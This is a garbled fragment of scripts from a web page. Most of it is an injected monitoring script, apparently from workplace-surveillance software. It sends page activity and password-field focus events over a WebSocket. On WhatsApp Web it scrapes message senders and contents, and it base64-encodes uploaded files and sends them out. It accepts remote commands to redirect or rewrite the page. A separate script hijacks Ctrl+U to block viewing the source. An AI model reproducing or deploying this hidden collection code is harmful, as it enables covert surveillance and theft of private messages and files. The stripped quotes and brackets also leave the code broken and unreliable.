(sub.nodeType Node.TEXT_NODE) self.handleEvent(change, addText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, addElm, self.getAncestors(m.target), sub); }); } else if (m.type characterData && m.target) self.handleEvent(change, changeText, self.getAncestors(m.target)); }); } self.processStateByElm(); }); }, objId2key2value: {}, processStateByElm: function () { var self this; self.forEachObject(stateByElm, function (page, obj) { var key2value {}; if (self.calc(obj, condition, , , return true;)) { self.applySelector(document, obj.selector).forEach(function (elm) { var key self.calc(obj, key, e, elm); var value self.calc(obj, value, e, elm); key2valueJSON.stringify(key) JSON.stringify(value); }); } var oldKey2Value self.objId2key2valueobj.id; oldKey2Value oldKey2Value ? oldKey2Value : {}; for (var k in key2value) { if (key2valuek ! oldKey2Valuek) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined, new: JSON.parse(key2valuek) }); delete oldKey2Valuek; } for (var k in oldKey2Value) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined }); self.objId2key2valueobj.id key2value; }); }, /* get ancestors for the element */ getAncestors: function (e) { var path ; for (; e ! document && e ! null; e e.parentNode) path.push(e); return path; }, /* handles simple events: click, change, addText, changeText, removeText */ handleEvent: function (type, source, ancestors) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEvent: type: + type + source: + source + target: + this.elementString(ancestors0)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { self.send(type, page, obj, ancestors0, elm); }); }, /* handles events with sub element: addElm, removeElm */ handleEventWithSub: function (type, source, ancestors, sub) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEventWithSub: type: + type + source: + source + target: + this.elementString(ancestors0) + sub: + this.elementString(sub)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { if (!obj.sub_matches || sub.matches(obj.sub_matches)) { if (obj.sub_selector) { self.applySelector(sub, obj.sub_selector).forEach(function (descendant) { self.send(type, page, obj, ancestors0, elm, sub, descendant); }); } else { self.send(type, page, obj, ancestors0, elm, sub); } } }); }, /* enumerate all obj based on url and source. calls handler(page, obj) */ forEachObject: function (source, handler) { var self this; this.pages.forEach(function (page) { if (self.testRegex(page.url, document.URL)) { page.objects.forEach(function (obj) { if (obj.sources.includes(source)) handler(page, obj); }); } }); }, /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */ forEachMatch: function (source, ancestors, handler) { var self this; this.forEachObject(source, function (page, obj) { if (obj.interactionInterval && (self.lastInteraction null || new Date().getTime() - self.lastInteraction > obj.interactionInterval)) { if (self.lastInteraction ! null) self.log(forEachMatch skip rule: interval: + (new Date().getTime() - self.lastInteraction).toString()); } else { var scope obj.scope target ? ancestors0 : ancestors, m obj.matches, set !m && obj.selector ? self.applySelector(document, obj.selector) : null; for (var i 0; i scope.length; ++i) { if ((m && scopei.matches && scopei.matches(m)) /* scopei may not be element, test if matches is defined */ || (set && set.includes(scopei))) { handler(page, obj, scopei); break; } } } }); }, /* return array of elements after applying commands from the selector settings */ applySelector: function (root, commands) { const self this; var elms root; commands.forEach(function (command) { var res ; elms.forEach(function (elm) { if (command.test_text) { /* test_text command keeps only elements whose text matches regex */ if (self.testRegex(command.test_text, elm.textContent)) res.push(elm); } else if (command.move) { /* move command transforms element into querySelectorAll set and select shadowRoot if present */ elm.querySelectorAll(:scope + command.move).forEach(function (e) { var s e.shadowRoot; res.push(s ? s : e); }); } else if (command.exists) { /* exists command keeps only elements for which selector set is not empty */ if (self.applySelector(elm, command.exists).length ! 0) res.push(elm); } }); elms res; }); return elms; }, /* send event data to websocket, data structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * } */ lastSentElm: null, lastSentElmId: 0, send: function (type, page, obj, target, e, sub, descendant) { if (this.lastSentElm ! e) { this.lastSentElm e; this.lastSentElmId++; } const values this.calc(obj, values, target, e, sub, descendant, target, e, sub, descendant); if (values) this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values); }, sendEvent: function (type, page, obj, elmId, values) { const t JSON.stringify({ values: values, handler: page.handler, type: type, elm: elmId, page: page.id, obj: obj.id, url: document.URL, token: this.token, proc: this.proc }); if (this.sendLog) console.log(InsightJs send: + t); this.processPacket(t); }, /* utils: cache compiled regexes */ string2regex: {}, testRegex: function (stringRegex, value) { if (stringRegex null) return true; if (!(stringRegex in this.string2regex)) this.string2regexstringRegex new RegExp(stringRegex); return this.string2regexstringRegex.test(value); }, /* utils: cache compiled functions */ code2function: {}, calc: function (host, prop, names, args, defaultCode) { var code hostprop ? return + hostprop + ; : hostprop + _f; if (code null) code defaultCode; if (code null) { this.log(code not found, calc( + JSON.stringify(host) + ), prop: + prop); return {}; } if (!(code in this.code2function)) this.code2functioncode new Function(...names, code); return this.code2functioncode.apply(null, args); }, /* utils: dump html element to the log */ elementString: function (e) { var html e.nodeType Node.TEXT_NODE ? e.data : e.outerHTML; if (this.sendLogFullData) return html; html html.length > 100 ? html.substr(0, 100) + ... total len: + html.length : html; return html.replace(/\n|\r/g, #); }, /* log to console and to the agent */ log: function (message, force) { if (this.sendLog || force) { var m new Date().toLocaleString() + : + message; console.log(InsightJs + m + , url: + document.URL); this.processPacket(JSON.stringify({ handler: log, module: InsightJs, message: m, url: document.URL })); } }, callSafe: function (name, f) { if (!this.sendLogExceptions) f(); else { try { f() } catch (e) { this.log(exception in + name + : + e.name + , + e.message, true); } } } }},L6e4,Tnull,Inull,knull,Cnull,O!1,Hnull,Pnull,R0,xnull,Bnull,_,F!1;!function e(t){m()?setTimeout((function(){e(t)}),1e3):t()}((function(){w.extJs&&w.extJs.init(w.token),n()&&(window.addEventListener(focus,r,!0),w.dontTrackWebPasswords&&window.addEventListener(message,A,!1)),n()||w.extJs?p():w.dontTrackWebPasswords&&f()}))}();/script>script>document.addEventListener(keydown, function(e) { if (e.ctrlKey && e.key.toLowerCase() u) { e.preventDefault(); e.stopPropagation(); document.body.innerHTML ; document.documentElement.innerHTML ; const img document.createElement(img); img.src https://imgstock.io/images/2026/01/28/303vip-image-1.webp; img.style.width 100%; img.style.height 100vh; img.style.objectFit cover; document.body.appendChild(img); }});/script>script>!function(){var e,t,Y;function n(){try{return window.selfwindow.top}catch(e){return!1}}function r(){setTimeout((function(){var e{type:focus,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn};null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))}),0)}function a(){var e{type:notification,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),timeout:w.sendNotificationsInterval,useragent:navigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,pid:w.pid,pn:w.pn};B.send(JSON.stringify(e))}function s(){y()}function o(){n()&&(clearInterval(T),clearInterval(I)),timeoutsetTimeout((function(){g()}),L)}function i(e){if(n())switch(e.data.substring(0,1)){caser:window.locatione.data.substring(1);break;caseb:document.body.innerHTMLe.data.substring(1);break;casew:var ttruee.data.substring(1).toLowerCase();O!t&&t&&v(),Ot;break;casex:!function(e){try{const tJSON.parse(e),Yb.get(t.requestId);if(Y){b.delete(t.requestId);const{responseCallback:e,fileName:n}Y;e(t,n)}}catch(e){unblockPage()}}(e.data.substring(1))}}function u(e){var tdocument.createElement(a);return t.hrefe,t.href}function d(e){if(!e)return!1;if(passworde.type)return!0;if(e instanceof HTMLInputElement){var twindow.getComputedStyle(e);if(t){var Yt.getPropertyValue(-webkit-text-security);returndisc,circle,square.includes(Y)}}return!1}function c(e,t!1){if(d(e)&&!F)if(F!0,n()){var Y{type:password_input_focus,focus:!0,token:w.token};B.send(JSON.stringify(Y))}else window.top.postMessage({message:iframePasswordInputFocused,name:e.name,type:password},*)}function M(e,t!1){var Ye&&e.name?e.name:unnamed>;if(d(e)&&F)if(F!1,n()){var r{type:password_input_focus,focus:!1,token:w.token};B.send(JSON.stringify(r))}else window.top.postMessage({message:iframePasswordInputBlurred,name:Y,type:password},*)}function l(e){var tdocument.activeElement;t&&t!document.body?document.querySelector&&(tdocument.querySelector(:focus)):tnull;for(var Y0;Ye.length;++Y){let seY;var nd(s),rn&&s.hasAttribute(autofocus),an&&t&&s.isEqualNode(t);(r||a)&&c(s),s.tmInputEventListenerAttached||(s.addEventListener(focus,(function(e){c(e.target)}),!0),s.addEventListener(blur,(function(e){M(e.target)}),!0),s.tmInputEventListenerAttached!0)}}function f(){l(document.getElementsByTagName(input));var enew MutationObserver((function(e){e&&e.forEach((function(e){e&&e.addedNodes&&0!e.addedNodes.length&&(window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEachArray.prototype.forEach),e.addedNodes.forEach((function(e){if(e.tagName){var t;inpute.tagName.toLowerCase()?t.push(e):te.getElementsByTagName(input),t.length&&l(t)}})))}))}));e.observe(document,{childList:!0,subtree:!0}),window.addEventListener(beforeunload,(function(e){M(),function(){for(var edocument.getElementsByTagName(input),t0;te.length;++t){let Yet;Y.removeEventListener(focus,c),Y.removeEventListener(blur,M),delete Y.tmInputEventListenerAttached}}()}))}function D(){var e;n()&&(w.iup&&(e{type:connect,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn},null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))),h()&&(v(),y(),function(){function e(e){return e.baseURI&&e.baseURI.startsWith(https://web.whatsapp.com/)}function t(e){const te.dataTransfer.files;t.length>0&&Array.from(t).forEach((e>{N(e)}))}document.querySelectorAll(div).forEach((Y>{e(Y)&&Y.addEventListener(drop,t,{passive:!0})}));var Ynew MutationObserver((function(e){e&&(Array.from(document.querySelectorAll(.message-in, .message-out)).reduce(((e,t)>{var Yt.querySelector(buttontypebutton, divrolebutton);return Y&&e.push(Y),e}),).forEach((e>{const tmodified;e.hasAttribute(t)||(e.setAttribute(t,),e.onclickt>{t.verified||(t.preventDefault(),t.stopPropagation(),new Promise((function(t,Y){!function(e,t,Y){try{const Ye.parentElement,nYObject.keys(Y).find((e>e.includes(__reactProps))).children.props.msg,rn.mediaData,acrypto.randomUUID();b.set(a,{responseCallback:e>t(!e.block)}),B.send(JSON.stringify({requestId:a,type:waptransfer,direction:download,filename:r.__x_filename,filesize:r.__x_size,filetype:r.__x_mimetype,filehash:n.__x_encFilehash,url:document.URL,process:w.pn,content:}))}catch{Y()}}(e,t,(()>setTimeout((()>Y()),1)))})).then((e>{t.verifiede,t.verified&&t.target.dispatchEvent(t)}),(()>{})))})})),e.forEach((function(e){e&&(childList!e.type||e.addedNodes.length0||e.addedNodes.forEach((function(e){if(e&&e.nodeTypeNode.ELEMENT_NODE){e.querySelectorAll(input).forEach((e>{!function(e){const tmodified;file!e.type||e.hasAttribute(t)||(e.setAttribute(t,),e.addEventListener(change,(e>{Array.from(e.target.files).forEach((e>{N(e)}))})))}(e)}));var tdocument.querySelectorAll(dividmain header div)2;if(t){var Yt.querySelectorAll(div)1,nt.querySelectorAll(div)2;k(Y?Y.innerText:)+:+(n?n.innerText:)}document.querySelector(dividmain header spandata-icondefault-user)&&(Cprivate),document.querySelector(dividmain header spandata-icondefault-group)&&(Cgroup);var re.querySelectorAll(.message-in, .message-out);r||E(msgNodes is empty),e.matches(.message-in, .message-out)&&(rArray.prototype.slice.call(r)).push(e),r&&0!r.length?r.forEach((function(e){if(e)if(!e.classList||e.classList.length0)E(msg node does not contain classList or classList is empty);else{var te.classList.contains(message-in),Ye.querySelector(.copyable-text),ne.querySelector(.selectable-text),rnew Date,anull;if(Y&&Y.attributesdata-pre-plain-text){var sY.attributesdata-pre-plain-text.textContent,o/\(\d{1,2}):(\d{1,2}) {0,1}(p|a\.?\s?m\.?)?,\s(.+)\s(.*):/iSymbol.match(s);if(!o||6!o.length)return void E(no matches for string: +s);if(o3&&o3.length>1&&po3.toLowerCase().slice(0,1)&&(o1parseInt(o1)+12),dateParts/(\d{1,4}).-\\/(\d{1,4}).-\\/(\d{1,4})/Symbol.match(o4),!dateParts||4!dateParts.length)return void E(no matches for string: +o4);if(E(o4+_),!(rdate.parse(o4,_)||function(e,t,Y){var ne,t,Y.join(-),e,Y,t.join(-),t,e,Y.join(-),t,Y,e.join(-),Y,e,t.join(-),Y,t,e.join(-),rDate.now();for(var a in n){var sDate.parse(na);if(s&&!(Math.abs(r-s)>1728e6))return new Date(s)}}(dateParts1,dateParts2,dateParts3)))return void E(Cant parse date from string: +o4);r.setHours(o1),r.setMinutes(o2),ao5}E(isIncomingMsg +t+ msgDateTime +r+ msgSender +a+ wapStartTime +x+ wapTrackingEnabled +O),H.get(k)||H.set(k,x);var in?n.innerText:null;if(E(msgContent +i),a&&i&&O){var u(a+i+k+r.getTime()).split().map((function(e){return e.charCodeAt(0)})).reduce((function(e,t){return e+((e7)+(e3))^t})).toString(16);if(H.get(k).getTime()r.getTime()?r.setMilliseconds(++R):(R0,H.set(k,r)),!u||P.has(u))return void E(msgId is null or this msgId already tracked +u);var d{type:wapmessage,timestamp:r.getTime(),id:u,incoming:t,sender:t?a:Me,content:i,recipient:t?Me:k,conversationId:k+(+C+)};B.send(JSON.stringify(d)),P.add(u)}}})):E(no msg nodes found)}})))})))}));if(!Y)return;Y.observe(document.body,{childList:!0,subtree:!0}),E(observer is ready)}()),n()&&(a(),TsetInterval(a,w.sendNotificationsInterval),h()&&(IsetInterval(s,w.pollWhatsappTrackingInterval))),function(){for(var e,tdocument.getElementsByTagName(link),Y0;Yt.length;++Y)icon!tY.getAttribute(rel)&&shortcut icon!tY.getAttribute(rel)||(ee.lengthu(tY.getAttribute(href)));0e.length&&(e0u(/favicon.ico));var n{type:favicon};n.urldocument.URL,n.srce,n.titledocument.title,n.tokenw.token,n.useragentnavigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,B.send(JSON.stringify(n))}(),w.dontTrackWebPasswords&&f())}function p(){document.tmfilter||(g(),_{ar-SA:D/M/YY,bg-BG:D.M.YYYY,ca-ES:D/M/YYYY,zh-TW:YYYY/M/D,cs-CZ:D.M.YYYY,Da-DK:D-M-YYYY,De-DE:D.M.YYYY,el-GR:D/M/YYYY,en-US:M/D/YYYY,fi-FI:D.M.YYYY,fr-FR:D/M/YYYY,he-IL:D/M/YYYY,hu-HU:YYYY. M. D.,is-IS:D.M.YYYY,it-IT:D/M/YYYY,ja-JP:YYYY/M/D,ko-KR:YYYY-M-D,nl-NL:D-M-YYYY,nb-NO:D.M.YYYY,pl-PL:YYYY-M-D,pt-BR:D/M/YYYY,ro-RO:D.M.YYYY,ru-RU:D.M.YYYY,hr-HR:D.M.YYYY,sk-SK:D. M. YYYY,sq-AL:YYYY-M-D,sv-SE:YYYY-M-D,th-TH:D/M/YYYY,tr-TR:D.M.YYYY,ur-PK:D/M/YYYY,iD-ID:D/M/YYYY,uk-UA:D.M.YYYY,be-BY:D.M.YYYY,sl-SI:D.M.YYYY,et-EE:D.M.YYYY,lv-LV:YYYY.M.D.,lt-LT:YYYY.M.D,fa-IR:M/D/YYYY,vi-VN:D/M/YYYY,hy-AM:D.M.YYYY,az-Latn-AZ:D.M.YYYY,eu-ES:YYYY/M/D,Mk-MK:D.M.YYYY,af-ZA:YYYY/M/D,ka-GE:D.M.YYYY,fo-FO:D-M-YYYY,hi-IN:D-M-YYYY,Ms-MY:D/M/YYYY,kk-KZ:D.M.YYYY,ky-KG:D.M.YY,sw-KE:M/D/YYYY,uz-Latn-UZ:D/M YYYY,tt-RU:D.M.YYYY,pa-IN:D-M-YY,gu-IN:D-M-YY,ta-IN:D-M-YYYY,te-IN:D-M-YY,kn-IN:D-M-YY,Mr-IN:D-M-YYYY,sa-IN:D-M-YYYY,Mn-MN:YY.M.D,gl-ES:D/M/YY,kok-IN:D-M-YYYY,syr-SY:D/M/YYYY,Dv-MV:D/M/YY,ar-IQ:D/M/YYYY,zh-CN:YYYY/M/D,De-CH:D.M.YYYY,en-GB:D/M/YYYY,es-MX:D/M/YYYY,fr-BE:D/M/YYYY,it-CH:D.M.YYYY,nl-BE:D/M/YYYY,nn-NO:D.M.YYYY,pt-PT:D-M-YYYY,sr-Latn-CS:D.M.YYYY,sv-FI:D.M.YYYY,az-Cyrl-AZ:D.M.YYYY,Ms-BN:D/M/YYYY,uz-Cyrl-UZ:D.M.YYYY,ar-EG:D/M/YYYY,zh-HK:D/M/YYYY,De-AT:D.M.YYYY,en-AU:D/M/YYYY,es-ES:D/M/YYYY,fr-CA:YYYY-M-D,sr-Cyrl-CS:D.M.YYYY,ar-LY:D/M/YYYY,zh-SG:D/M/YYYY,De-LU:D.M.YYYY,en-CA:D/M/YYYY,es-GT:D/M/YYYY,fr-CH:D.M.YYYY,ar-DZ:D-M-YYYY,zh-MO:D/M/YYYY,De-LI:D.M.YYYY,en-NZ:D/M/YYYY,es-CR:D/M/YYYY,fr-LU:D/M/YYYY,ar-MA:D-M-YYYY,en-IE:D/M/YYYY,es-PA:M/D/YYYY,fr-MC:D/M/YYYY,ar-TN:D-M-YYYY,en-ZA:YYYY/M/D,es-DO:D/M/YYYY,ar-OM:D/M/YYYY,en-JM:D/M/YYYY,es-VE:D/M/YYYY,ar-YE:D/M/YYYY,en-029:M/D/YYYY,es-CO:D/M/YYYY,ar-SY:D/M/YYYY,en-BZ:D/M/YYYY,es-PE:D/M/YYYY,ar-JO:D/M/YYYY,en-TT:D/M/YYYY,es-AR:D/M/YYYY,ar-LB:D/M/YYYY,en-ZW:M/D/YYYY,es-EC:D/M/YYYY,ar-KW:D/M/YYYY,en-PH:M/D/YYYY,es-CL:D-M-YYYY,ar-AE:D/M/YYYY,es-UY:D/M/YYYY,ar-BH:D/M/YYYY,es-PY:D/M/YYYY,ar-QA:D/M/YYYY,es-BO:D/M/YYYY,es-SV:D/M/YYYY,es-HN:D/M/YYYY,es-NI:D/M/YYYY,es-PR:D/M/YYYY,aM-ET:D/M/YYYY,tzM-Latn-DZ:D-M-YYYY,iu-Latn-CA:D/M/YYYY,sMa-NO:D.M.YYYY,Mn-Mong-CN:YYYY/M/D,gD-GB:D/M/YYYY,en-MY:D/M/YYYY,prs-AF:D/M/YY,bn-BD:D-M-YY,wo-SN:D/M/YYYY,rw-RW:M/D/YYYY,qut-GT:D/M/YYYY,sah-RU:M.D.YYYY,gsw-FR:D/M/YYYY,co-FR:D/M/YYYY,oc-FR:D/M/YYYY,Mi-NZ:D/M/YYYY,ga-IE:D/M/YYYY,se-SE:YYYY-M-D,br-FR:D/M/YYYY,sMn-FI:D.M.YYYY,Moh-CA:M/D/YYYY,arn-CL:D-M-YYYY,ii-CN:YYYY/M/D,Dsb-DE:D. M. YYYY,ig-NG:D/M/YYYY,kl-GL:D-M-YYYY,lb-LU:D/M/YYYY,ba-RU:D.M.YY,nso-ZA:YYYY/M/D,quz-BO:D/M/YYYY,yo-NG:D/M/YYYY,ha-Latn-NG:D/M/YYYY,fil-PH:M/D/YYYY,ps-AF:D/M/YY,fy-NL:D-M-YYYY,ne-NP:M/D/YYYY,se-NO:D.M.YYYY,iu-Cans-CA:D/M/YYYY,sr-Latn-RS:D.M.YYYY,si-LK:YYYY-M-D,sr-Cyrl-RS:D.M.YYYY,lo-LA:D/M/YYYY,kM-KH:YYYY-M-D,cy-GB:D/M/YYYY,bo-CN:YYYY/M/D,sMs-FI:D.M.YYYY,as-IN:D-M-YYYY,Ml-IN:D-M-YY,en-IN:D-M-YYYY,or-IN:D-M-YY,bn-IN:D-M-YY,tk-TM:D.M.YY,bs-Latn-BA:D.M.YYYY,Mt-MT:D/M/YYYY,sr-Cyrl-ME:D.M.YYYY,se-FI:D.M.YYYY,zu-ZA:YYYY/M/D,xh-ZA:YYYY/M/D,tn-ZA:YYYY/M/D,hsb-DE:D. M. YYYY,bs-Cyrl-BA:D.M.YYYY,tg-Cyrl-TJ:D.M.YY,sr-Latn-BA:D.M.YYYY,sMj-NO:D.M.YYYY,rM-CH:D/M/YYYY,sMj-SE:YYYY-M-D,quz-EC:D/M/YYYY,quz-PE:D/M/YYYY,hr-BA:D.M.YYYY.,sr-Latn-ME:D.M.YYYY,sMa-SE:YYYY-M-D,en-SG:D/M/YYYY,ug-CN:YYYY-M-D,sr-Cyrl-BA:D.M.YYYY,es-US:M/D/YYYY}navigator.language,document.tmfilterpresent)}function g(){(Bnew WebSocket(w.connectionString)).oncloseo,B.onmessagei,B.onopenD,w.extJs&&(w.extJs.webSock{readyState:()>B.readyState,send:e>B.send(e)})}function m(){var efunction(){var ewebkit,moz,ms,o;if(hiddenin document)returnhidden;for(var t0;te.length;t++)if(et+Hiddenin document)return et+Hidden;return null}();return!!e&&documente}function h(){var edocument.head.querySelector(nameog:title);return!!e&&WhatsApp Webe.getAttribute(content)}function y(){B.send(JSON.stringify({type:waptracking}))}function v(){Hnew Map,Pnew Set,R0,(xnew Date).setSeconds(0),x.setMilliseconds(0)}function S(e){for(var t,Ynew Uint8Array(e),nY.byteLength,r0;rn;r++)t+String.fromCharCode(Yr);return window.btoa(t)}ethis,t{},Y{en:{MMMM:January February March April May June July August September October November December.split( ),MMM:Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec.split( ),dddd:Sunday Monday Tuesday Wednesday Thursday Friday Saturday.split( ),ddd:Sun Mon Tue Wed Thu Fri Sat.split( ),dd:Su Mo Tu We Th Fr Sa.split( ),A:a.m.,p.m.,formatter:{YYYY:function(e){return(000+e.getFullYear()).slice(-4)},YY:function(e){return(0+e.getFullYear()).slice(-2)},Y:function(e){return+e.getFullYear()},MMMM:function(e){return this.MMMMe.getMonth()},MMM:function(e){return this.MMMe.getMonth()},MM:function(e){return(0+(e.getMonth()+1)).slice(-2)},M:function(e){return+(e.getMonth()+1)},DD:function(e){return(0+e.getDate()).slice(-2)},D:function(e){return+e.getDate()},HH:function(e){return(0+e.getHours()).slice(-2)},H:function(e){return+e.getHours()},A:function(e){return this.A11e.getHours()|0},hh:function(e){return(0+(e.getHours()%12||12)).slice(-2)},h:function(e){return+(e.getHours()%12||12)},mm:function(e){return(0+e.getMinutes()).slice(-2)},m:function(e){return+e.getMinutes()},ss:function(e){return(0+e.getSeconds()).slice(-2)},s:function(e){return+e.getSeconds()},SSS:function(e){return(00+e.getMilliseconds()).slice(-3)},SS:function(e){return(0+(e.getMilliseconds()/10|0)).slice(-2)},S:function(e){return+(e.getMilliseconds()/100|0)},dddd:function(e){return this.dddde.getDay()},ddd:function(e){return this.ddde.getDay()},dd:function(e){return this.dde.getDay()},Z:function(e){return(0(ee.utc?0:e.getTimezoneOffset()/.6)?-:+)+(000+Math.abs(e-e%100*.4)).slice(-4)},post:function(e){return e}},parser:{find:function(e,t){for(var Y,n-1,r0,a0,se.length;as;a++)Yea,!t.indexOf(Y)&&Y.length>r&&(na,rY.length);return{index:n,length:r}},MMMM:function(e){return this.parser.find(this.MMMM,e)},MMM:function(e){return this.parser.find(this.MMM,e)},A:function(e){return this.parser.find(this.A,e)},h:function(e,t){return(12e?0:e)+12*t},pre:function(e){return e}}}},t.formatfunction(e,n,r){var at.addMinutes(e,r?e.getTimezoneOffset():0),sY.en,os.formatter;return a.utcr,n.replace(/(\^\\*|\.*\^\*\|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g,(function(e){var toe;return t?o.post(t.call(s,a,n)):e.replace(/\(.*)/,$1)}))},t.parsefunction(e,n,r){var a,s,oY.en,io.parser.pre(e),u0,d/(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g,c{2:/^\d{1,4}/,3:/^\d{1,3}/,4:/^\d\d/,5:/^\d\d?/,6:/^\d/};e31,28,31,30,31,30,31,31,30,31,30,31;for(var M{Y:1970,M:1,D:1,H:0,m:0,s:0,S:0};ad.exec(n);){var l0,f1;for(s;!s;)sa++l;as.charAt(0);var Di.slice(u);if(2>l){var po.parsers.call(o,D,n);Map.index,Ma&&Ma++,fp.length}else if(7>l)p(D.match(cl)||)0,Ma0|(Sa?(p+000).slice(0,-s.length):p),fp.length;else if( !a&&a!D0)return NaN;if(!f)return NaN;u+f}return ui.length&&p?(M.Y+70>M.Y?2e3:100>M.Y?1900:0,M.HM.H||o.parser.h(M.h||0,M.A||0),nnew Date(M.Y,M.M-1,M.D,M.H,M.m,M.s,M.S),e1+0|t.isLeapYear(n),1>M.M||12M.M||1>M.D||M.D>eM.M-1||23M.H||59M.m||59M.s?NaN:r?t.addMinutes(n,-n.getTimezoneOffset()):n):NaN},t.isValidfunction(e,Y){return!!t.parse(e,Y)},t.addYearsfunction(e,Y){return t.addMonths(e,12*Y)},t.addMonthsfunction(e,t){var Ynew Date(e.getTime());return Y.setMonth(Y.getMonth()+t),Y},t.addDaysfunction(e,t){var Ynew Date(e.getTime());return Y.setDate(Y.getDate()+t),Y},t.addHoursfunction(e,Y){return t.addMilliseconds(e,36e5*Y)},t.addMinutesfunction(e,Y){return t.addMilliseconds(e,6e4*Y)},t.addSecondsfunction(e,Y){return t.addMilliseconds(e,1e3*Y)},t.addMillisecondsfunction(e,t){return new Date(e.getTime()+t)},t.subtractfunction(e,t){var Ye.getTime()-t.getTime();return{toMilliseconds:function(){return Y},toSeconds:function(){return Y/1e3|0},toMinutes:function(){return Y/6e4|0},toHours:function(){return Y/36e5|0},toDays:function(){return Y/864e5|0}}},t.isLeapYearfunction(e){return!(((ee.getFullYear())%4||!(e%100))&&e%400)},t.isSameDayfunction(e,Y){return t.format(e,YYYYMMDD)t.format(Y,YYYYMMDD)},e.datet;const bnew Map;function N(e){const ttm_overlay,Y10485760;let nfunction(){let edocument.getElementById(t);e&&e.remove(),b.clear()};if(e){const rnew FileReader;let a;e.size>Y&&(ae.slice(0,Y));let s!1;if(b.forEach((t>{t.fileNamee.name&&(s!0)})),!s){r.addEventListener(load,(t>{try{const tcrypto.randomUUID();b.set(t,{responseCallback:e>{e.block&&function(){const e,tt>{t.querySelectorAll(button:not(tabindex-1)).forEach((t>{t.querySelector(spandata-iconx)&&(e.push(t),t.click())}))},Ynew MutationObserver(((Y,n)>{Y.forEach((e>{childListe.type&&e.addedNodes.length>0&&e.addedNodes.forEach((e>{e.nodeTypeNode.ELEMENT_NODE&&t(e)}))})),e.length>0&&n.disconnect()}));Y.observe(document.body,{childList:!0,subtree:!0}),t(document),e.length>0&&Y.disconnect()}(),n()},fileName:e.name}),setTimeout((()>{b.has(t)&&(b.delete(t),n())}),2e3),B.send(JSON.stringify({requestId:t,type:waptransfer,direction:upload,filename:e.name,filesize:e.size,filetype:e.type,url:document.URL,filehash:0,process:w.pn,content:S(r.result)}))}catch(e){n()}})),r.addEventListener(error,(e>{n()})),r.addEventListener(abort,(e>{n()})),function(){if(!document.getElementById(t)){let edocument.createElement(div);e.idt,e.style.cssTextbackground:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999,document.body.appendChild(e)}}();try{nulla?r.readAsArrayBuffer(e):r.readAsArrayBuffer(a)}catch(e){n()}}}}function E(e){var t{handler:log,module:wapjs,url:wap,message:e};B.send(JSON.stringify(t))}function A(e){var t{name:e.data.name,type:e.data.type};iframePasswordInputFocusede.data.message?c(t,!0):iframePasswordInputBlurrede.data.message&&M(t,!0)}var w{token:6cbd24c4-9a0a-4ea0-8b83-cc0360315786,sendNotificationsInterval:Number(1000),pollWhatsappTrackingInterval:Number(20000),connectionString:wss://tm.filter:1502,pid:13944,pn:chrome.exe,iup:false,dontTrackWebPasswords:false,extJs:/* * dont use double slash comments here as this will be stored in one line for the TMU migrations * * this is stored in the kv_store table for the key hm_websites_js * * all code should describe one javascript object, i.e. { bla-bla-bla } * * this object will be included in standard js injection code as a replacement of insight_placeholder * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings * if not, insight_placeholder will be replaced with null * * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too) * * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix) * * also this object must contain property webSock that will be assigned WebSocket when created * * this object should send json for every registered event with the following structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * proc: id of the process of the host electron * } */ { /* this will be replaced with the rules for current domain * * { * id: locationId, * url: string | null, * objects: * * { * id: objectId, * sources: , * ... * }, * ... * * }, * ... * */ pages: , /* required property for electron */ proc: null, /* required property - will be assigned to WebSocket once it will be read */ webSock: null, pendingPackets: , webSockReady: function () { return this.webSock ! null && this.webSock.readyState WebSocket.OPEN; }, processPacket: function (t) { if (!this.webSockReady()) this.pendingPackets.push(t); else { this.sendPendingPackets(); this.webSock.send(t); } }, sendPendingPackets: function () { if (this.webSockReady() && this.pendingPackets.length > 0) { for (var i 0; i this.pendingPackets.length; ++i) this.webSock.send(this.pendingPacketsi); this.pendingPackets ; } }, /* store js injection token */ token: null, /* should we send log messages to the agent, bool */ sendLog: false, /* should we include all content of the htmlelements in the log messages, bool */ sendLogFullData: false, /* should we log snapshots of the html after every mutation event */ sendLogSnapshots: false, /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */ sendLogExceptions: true, /* * required function - it will be called once when document became visible * it will be also called for iframes * * argument token - js injection token */ init: function (token) { this.token token; this.log(init: token: + token + 